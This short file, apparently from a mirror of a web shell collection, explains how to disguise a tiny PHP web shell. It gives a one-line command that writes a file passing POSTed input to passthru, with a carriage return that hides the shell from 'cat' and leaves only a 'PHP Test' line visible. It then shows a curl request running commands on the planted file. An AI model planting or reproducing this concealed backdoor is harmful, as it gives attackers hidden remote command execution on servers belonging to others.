mirror of
https://github.com/tennc/webshell
synced 2024-11-28 22:20:17 +00:00
359 B
359 B
Disguising a PHP Micro Webshell
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php
url : http://t.co/YFm6QlpK0k
vist browser page show A PHP Test
then in console use cat xxx.php
it show <?php echo 'A PHP Test ';" ?>
then in console run
curl -d 1=id http://www.xxx.xx/xx.php
it like in console show command id